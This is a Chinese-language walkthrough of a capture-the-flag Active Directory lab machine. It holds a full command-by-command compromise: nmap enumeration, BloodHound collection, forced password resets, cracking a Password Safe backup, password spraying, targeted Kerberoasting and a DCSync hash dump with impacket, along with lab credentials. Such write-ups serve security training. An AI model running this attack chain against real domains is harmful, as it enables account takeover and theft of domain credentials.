# 信息收集
nmap -sV -sC -O 10.10.11.42
Nmap scan report for 10.10.11.42
Host is up (0.70s latency).
Not shown: 986 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-06 15:12:01Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49153/tcp open msrpc Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=4/6%OT=21%CT=1%CU=44685%PV=Y%DS=2%DC=I%G=Y%TM=67F23C59
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10A%TI=RD%CI=I%II=I%TS=A)SEQ
OS:(SP=106%GCD=1%ISR=10A%TI=RD%CI=RD%TS=9)SEQ(SP=108%GCD=1%ISR=10D%TI=RD%CI
OS:=RD%II=I%TS=A)SEQ(SP=F9%GCD=1%ISR=110%TI=RD%CI=I%II=I%TS=A)SEQ(SP=FD%GCD
OS:=1%ISR=110%TI=RD%CI=I%TS=A)OPS(O1=M542NW8ST11%O2=M542NW8ST11%O3=M542NW8N
OS:NT11%O4=M542NW8ST11%O5=M542NW8ST11%O6=M542ST11)WIN(W1=FFFF%W2=FFFF%W3=FF
OS:FF%W4=FFFF%W5=FFFF%W6=FFDC)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M542NW8NNS%CC=Y%Q=
OS:)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=A
OS:R%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=
OS:80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0
OS:%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z
OS:%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G
OS:%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)
Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-04-06T15:13:43
|_ start_date: N/A
|_clock-skew: 6h40m54s
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 218.75 seconds题目描述给了一个凭证：Olivia:ichliebedich
winrm（bloodhound）
常规信息收集，ftp和smb都没什么东西，winrm可以连接，翻了一下目录基本都没啥权限，bloodhound收集一些域信息
faketime "$(ntpdate -q 10.10.11.42 | grep -oP "\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}")" bloodhound-python -u Olivia -p ichliebedich -d administrator.htb -ns 10.10.11.42 -c All
导入GUI，发现Olivia对michael有Genericall权限
GenericAll
直接修改它的密码
net user michael admin123 /domain
winrm登录
evil-winrm -i 10.10.11.42 -u michael -p admin123
一点用没有，继续查看michael的域关系，对benjamin有ForceChangePassword权限
修改benjamin的密码
net rpc password benjamin "admin123" -U "administrator.htb/michael%admin123" -S 10.10.11.4
FTP
登录ftp
ftp [email protected]
下载Backup.psafe3，这是个passwordsafe加密文件，转成hash爆破一下
passwordsafe
pwsafe2john Backup.psafe3 > 1.hash
john 1.hash --wordlist=/usr/share/wordlists/rockyou.txt
passwordsafe软件打开Backup.psafe3，里面是密码本
emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
emma:WwANQWnmJnGV07WQN8bMS7FMAbjNur
alexander:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw密码喷洒
crackmapexec smb 10.10.11.42 -u user.txt -p pass.txt --continue-on-success
SMB 10.10.11.42 445 DC [+] administrator.htb\emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmbwinrm连接，读取Desktop/user.txt，查看emily的域关系网
GenericWrite
对ethan有GenericWrite权限，kerborasting攻击获取ethan的hash
faketime "$(ntpdate 10.10.11.42|grep -oP '\d{4}-\d{2}-\d{2} \d{2}:\d{2}')" python3 targetedKerberoast.py -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb -d administrator.htb --dc-ip 10.10.11.42
爆破一下
查看ethan的域关系网，对Administrator有DCsync
DCsync
直接打DCsync获取Administrator的NTLM hash
impacket-secretsdump administrator.htb/ethan:[email protected] -target-ip 10.10.11.42
用hash登录拿到root.txt